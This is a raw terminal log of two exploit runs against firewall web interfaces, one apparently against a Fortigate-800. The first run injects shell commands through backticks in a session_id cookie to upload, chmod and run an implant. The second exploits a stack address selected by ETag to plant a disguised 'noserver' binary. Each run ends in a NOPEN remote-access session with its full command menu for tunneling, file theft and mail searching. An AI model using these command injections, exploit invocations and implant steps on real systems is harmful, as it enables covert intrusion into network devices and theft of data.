Namespace(ask=False, binpath='noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', callback='127.0.0.1:1234', cert=None, cid='session_id', color=False, debug=False, func=<unbound method ELCAExploit.do_exploit>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Cleaning up /tmp/ ...
[+] Running command on target: x`rm -f /t*/cgi*`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`rm -f /t*/cgi*`'}, 'allow_redirects': True}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Uploading and moving file...
[+] Requesting post https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'files': {'uiIwq': <StringIO.StringIO instance at 0xb6dab86c>}, 'cookies': {'session_id': 'x`cp /t*/cg* /tmp/.a`'}, 'data': None}
[+] "POST /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Making file executable...
[+] Running command on target: x`chmod +x /tmp/.a`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`chmod +x /tmp/.a`'}, 'allow_redirects': True}
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Running payload...
[+] Running command on target: x`/tmp/.a 2>&1`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`/tmp/.a 2>&1`'}, 'allow_redirects': True}
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Exploit complete. Got root?
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-190911.log and /current/down/fosho/2016-08-17-190911_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 18:07:07 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...
Listening on *:1234... ok
Accepted connection from 127.0.0.1:34192
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x6FE82C9C3156C88448659B6E034C6D30
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.0.5.3

Connection
  Bytes In / Out     199/75 (265%C) / 63/4 (1575%C)
  Local Host:Port    localhost:1234 (127.0.0.1:1234)
  Remote Host:Port   127.0.0.1:0 (127.0.0.1:0)
  Remote Host:Port   (none):34192 (127.0.0.1:34192)
Local
  NOPEN client       3.0.5.3
  Date/Time          Wed Aug 17 18:09:16 UTC 2016
  History
  Command Out
  CWD                /current/bin
  NHOME              /current/bin/..
  PID (PPID)         4689 (4525)
Remote
  NOPEN server       3.0.5.3
  WDIR               NOT SET
  OS                 Linux 2.4.19 #4 Wed Oct 13 17:29:47 CST 2010 i686
  CWD
  PID (PPID)         2416 (1)

History loaded from "/current/bin/../down/history/(none).127.0.0.1"... ok
Creating command output file "/current/bin/../down/cmdout/(none).127.0.0.1-2016-08-17-18:09:17"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1025
NO! (none):>-help
[08-17-16 18:09:35 GMT][localhost:1234 -> (none).127.0.0.1:34192]
[-help]

Remote General Commands:
Usage: -elevate
Usage: -getenv
Usage: -gs category|filename [options-if-any]
Usage: -setenv VAR=[val]
Usage: -shell
Usage: -status
Usage: -time

Remote Server Commands:
Usage: -burn
Usage: -call ip port
Usage: -listen port
Usage: -pid

Remote Network Commands:
Usage: -icmptime target_ip [source_ip]
Usage: -ifconfig
Usage: -nslookup name1 ...
Usage: -ping -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -ping host
       -ping [-u|-t|-i] host
Usage: -trace -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -trace host
       -trace [-u|-t|-i] host

Remote Redirection Commands:
Usage: -fixudp port
Usage: -irtun target_ip call_back_port [call_back_ip] [ourtn arguements]
Usage: -jackpop target_ip target_port source_ip source_port
Usage: -nrtun port [toip [toport]]
Usage: -nstun toip [toport [localport [srcport [command]]]]
       -nstun toip:port
Usage: -rawsend tcp_port
Usage: -rtun port [toip [toport]]
Usage: -scan
Usage: -sentry target_address source_address (tcp|udp) dest_port src_port interface
Usage: -stun toip toport [localport [srcport]]
Usage: -sutun [-t ttl] toip toport [localport [srcport]]
Usage: -tunnel [command_listen_port [udp]]
Usage: -vscan  (should add help)

Remote File Commands:
Usage: -cat remfile
Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...]
Usage: -cksum remfile ...
Usage: -fget [MM-DD-YYYY] loclist
Usage: -get [-l] [-q] [-s minimumsize] [-m MM-DD-YYYY] remfile ...
Usage: -grep [-d] [-v] [-n] [-i] [-h] [-C number_of_context_lines] pattern file1 [file2 ...]
Usage: -oget [-a] [-q] [-s begoff] [-b begoff] [-e endoff] remfile
Usage: -put locfile remfile [mode]
Usage: -strings remfile
Usage: -tail [+/-n] remfile, + to skip n lines of remfile beginning
Usage: -touch [-t mtime:atime | refremfile] remfile
Usage: -rm remfile|remdir ...
Usage: -upload file port
Usage: -mailgrep [-l] [-m maxbytes] [-r "regexp" [-v]] [-f regexpfilename [-v]] [-a "regexp for attachments to eliminate"] [-b MM-DD-YYYY] [-e MM-DD-YYYY] [-d remotedumpfile] remotedir file1 [file2 ...]
 ex: -mailgrep -a ".doc" -r "^Fred" -b 2-28-2002 /var/spool/mail G*

Remote Directory Commands:
Usage: -find [-M | -m -mkfindsargs] [-x[m|a|c] MM-DD-YYYY] remdir [remdir...]
Usage: -ls [-1ihuRt] [-x[m|a|c] MM-DD-YYYY] [remfile|remdir ...]
Usage: -cd [remdir]
Usage: -cdp

Local Client Commands:
Usage: -autopilot port [xml]
Usage: -cmdout [locfilename]
Usage: -exit
Usage: -help
Usage: -hist
Usage: -readrc [locfile]
Usage: -remark [comment]
Usage: -rem [comment]
Usage: # [comment]
Usage: -reset

Local Environment Commands:
Usage: -lcd locdir
Usage: -lgetenv
Usage: -lpwd
Usage: -lsetenv VAR=[val]
Usage: -lsh [[-q] command]

Aliases:

NO! (none):>

# Egregious Blunder (EGBL) exploit

# cat EGBL_AND_BLATSTING.txt

# pwd
/current/bin

# curl --insecure --head https://127.0.0.1 | grep ETag
ETag: "63e_4f_4683142d"

# grep 4683142d ./EGBL.config
ETAG = 4683142d : 0xbffff4a8 : 800 : 3 : 0559 # BLATSTING

# LD_LIBRARY_PATH=/current/bin/lib ./egregiousblunder_3.0.0.1 -t 127.0.0.1 -p 443 -l 1234 --ssl 1 -v --config ./EGBL.config --etag 4683142d --nopen
EGBL vers 3.0.0.1
current options:
  target IP: 127.0.0.1
  target port: 443 (SSL on)
  config file: ./EGBL.config (vers 3.0.0.1)
  etag: 4683142d (index 326)
  hardware = 800, firmware = 0559 (gen 3): etag = 4683142d
  using firmware generation 3
  source port: 1234
  install NOPEN
    noserver file to upload: /current/up/morerats/staticrats/noserver-3.3.0.1-linux-i386-static
    noclient local executable: /current/bin/noclient
    loading noserver on target as /bin/httpd, process to run as name /bin/httpsd
  verbose: 1
  debug: 0

loading nopen over HTTPS
prepping to send file /current/up/morerats/staticrats/noserver-3.3.0.1-linux-i386-static of size 356996
using stack addr 0xbffff4a8
received good ACK1 message c0edbabe
received stack addr 0xbffff4a8
sent the file len/header, next is the file
..................................
done with sending (356996 bytes), waiting for file ack
received good ACK2 message 356996, upload is cool
got file ack, file size 356996 uploaded
invoking /current/bin/noclient -i 4 to take over

NOPEN!                             v3.0.5.3

Wed Aug 17 12:29:28 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0xDD5A18A835851B4B1549DB3B984EBDE7
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.0.5.3

Connection
  Bytes In / Out     197/82 (240%C) / 63/4 (1575%C)
  Local Host:Port    localhost:1234 (127.0.0.1:1234)
  Remote Host:Port   (null):0 (:0)
  Remote Host:Port   Fortigate-800:443 (127.0.0.1:443)
Local
  NOPEN client       3.0.5.3
  Date/Time          Wed Aug 17 12:29:29 UTC 2016
  History
  Command Out
  CWD                /current/bin
  NHOME              /current/bin/..
  PID (PPID)         1749 (1748)
Remote
  NOPEN server       3.0.5.3
  WDIR               NOT SET
  OS                 Linux 2.4.25 #2 Wed Jun 27 21:28:31 EDT 2007 i686
  CWD                /
  PID (PPID)         5139 (34)

Creating history file "/current/bin/../down/history/Fortigate-800.127.0.0.1"... ok
Creating command output file "/current/bin/../down/cmdout/Fortigate-800.127.0.0.1-2016-08-17-12:29:30"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1025
NO! Fortigate-800:/>-help
[08-17-16 12:29:49 GMT][localhost:1234 -> Fortigate-800.127.0.0.1:443]
[-help]

Remote General Commands:
Usage: -elevate
Usage: -getenv
Usage: -gs category|filename [options-if-any]
Usage: -setenv VAR=[val]
Usage: -shell
Usage: -status
Usage: -time

Remote Server Commands:
Usage: -burn
Usage: -call ip port
Usage: -listen port
Usage: -pid

Remote Network Commands:
Usage: -icmptime target_ip [source_ip]
Usage: -ifconfig
Usage: -nslookup name1 ...
Usage: -ping -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -ping host
       -ping [-u|-t|-i] host
Usage: -trace -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -trace host
       -trace [-u|-t|-i] host

Remote Redirection Commands:
Usage: -fixudp port
Usage: -irtun target_ip call_back_port [call_back_ip] [ourtn arguements]
Usage: -jackpop target_ip target_port source_ip source_port
Usage: -nrtun port [toip [toport]]
Usage: -nstun toip [toport [localport [srcport [command]]]]
       -nstun toip:port
Usage: -rawsend tcp_port
Usage: -rtun port [toip [toport]]
Usage: -scan
Usage: -sentry target_address source_address (tcp|udp) dest_port src_port interface
Usage: -stun toip toport [localport [srcport]]
Usage: -sutun [-t ttl] toip toport [localport [srcport]]
Usage: -tunnel [command_listen_port [udp]]
Usage: -vscan  (should add help)

Remote File Commands:
Usage: -cat remfile
Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...]
Usage: -cksum remfile ...
Usage: -fget [MM-DD-YYYY] loclist
Usage: -get [-l] [-q] [-s minimumsize] [-m MM-DD-YYYY] remfile ...
Usage: -grep [-d] [-v] [-n] [-i] [-h] [-C number_of_context_lines] pattern file1 [file2 ...]
Usage: -oget [-a] [-q] [-s begoff] [-b begoff] [-e endoff] remfile
Usage: -put locfile remfile [mode]
Usage: -strings remfile
Usage: -tail [+/-n] remfile, + to skip n lines of remfile beginning
Usage: -touch [-t mtime:atime | refremfile] remfile
Usage: -rm remfile|remdir ...
Usage: -upload file port
Usage: -mailgrep [-l] [-m maxbytes] [-r "regexp" [-v]] [-f regexpfilename [-v]] [-a "regexp for attachments to eliminate"] [-b MM-DD-YYYY] [-e MM-DD-YYYY] [-d remotedumpfile] remotedir file1 [file2 ...]
 ex: -mailgrep -a ".doc" -r "^Fred" -b 2-28-2002 /var/spool/mail G*

Remote Directory Commands:
Usage: -find [-M | -m -mkfindsargs] [-x[m|a|c] MM-DD-YYYY] remdir [remdir...]
Usage: -ls [-1ihuRt] [-x[m|a|c] MM-DD-YYYY] [remfile|remdir ...]
Usage: -cd [remdir]
Usage: -cdp

Local Client Commands:
Usage: -autopilot port [xml]
Usage: -cmdout [locfilename]
Usage: -exit
Usage: -help
Usage: -hist
Usage: -readrc [locfile]
Usage: -remark [comment]
Usage: -rem [comment]
Usage: # [comment]
Usage: -reset

Local Environment Commands:
Usage: -lcd locdir
Usage: -lgetenv
Usage: -lpwd
Usage: -lsetenv VAR=[val]
Usage: -lsh [[-q] command]

Aliases:

NO! Fortigate-800:/>